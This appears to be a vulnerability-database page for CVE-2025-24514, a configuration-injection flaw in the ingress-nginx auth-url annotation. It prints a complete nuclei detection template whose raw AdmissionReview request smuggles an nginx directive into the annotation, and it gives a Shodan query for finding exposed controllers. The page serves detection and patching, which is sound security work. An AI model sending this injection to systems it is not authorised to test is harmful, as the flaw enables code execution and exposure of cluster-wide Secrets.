Browse / CVEs / CVE-2025-24514
CVE-2025-24514· CWE-20
Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-url` Annotation
A security issue was discovered in ingress-nginx https-//github.com/kubernetes/ingress-nginx where the `auth-url` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
Impact
Authenticated users with Ingress creation permissions can inject nginx configuration through the auth-url annotation, leading to arbitrary code execution in the ingress-nginx controller context and disclosure of all Kubernetes Secrets cluster-wide.
Fix
Upgrade to the patched version of ingress-nginx that properly sanitizes the auth-url annotation.
How to confirm it
Send: POST /
Positive when: contains "AdmissionReview" and "directive is not allowed here" and "load_module"Run it with nuclei: nuclei -id CVE-2025-24514 -u <target>
The full check
id: CVE-2025-24514
info:
name: Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-url` Annotation
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
A security issue was discovered in ingress-nginx https-//github.com/kubernetes/ingress-nginx where the `auth-url` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
impact: |
Authenticated users with Ingress creation permissions can inject nginx configuration through the auth-url annotation, leading to arbitrary code execution in the ingress-nginx controller context and disclosure of all Kubernetes Secrets cluster-wide.
remediation: |
Upgrade to the patched version of ingress-nginx that properly sanitizes the auth-url annotation.
reference:
- https://github.com/kubernetes/kubernetes/issues/131006
- https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
- https://nvd.nist.gov/vuln/detail/CVE-2025-24514
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2025-24514
cwe-id: CWE-20
epss-score: 0.37282
epss-percentile: 0.98537
metadata:
verified: true
max-request: 1
shodan-query: ssl:"ingress-nginx" port:8443
tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,vuln
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a6",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "test-{{randstr}}",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "test-{{randstr}}",
"namespace": "default",
"creationTimestamp": null,
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://example.com#;load_module test;\n"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "{{randstr}}",
"http": {
"paths": [
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
matchers:
- type: word
part: body
words:
- 'AdmissionReview'
- 'directive is not allowed here'
- 'load_module'
condition: andReferences
- https://github.com/kubernetes/kubernetes/issues/131006
- https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
- https://nvd.nist.gov/vuln/detail/CVE-2025-24514
Use this check only on systems you are authorised to test. Where the data comes from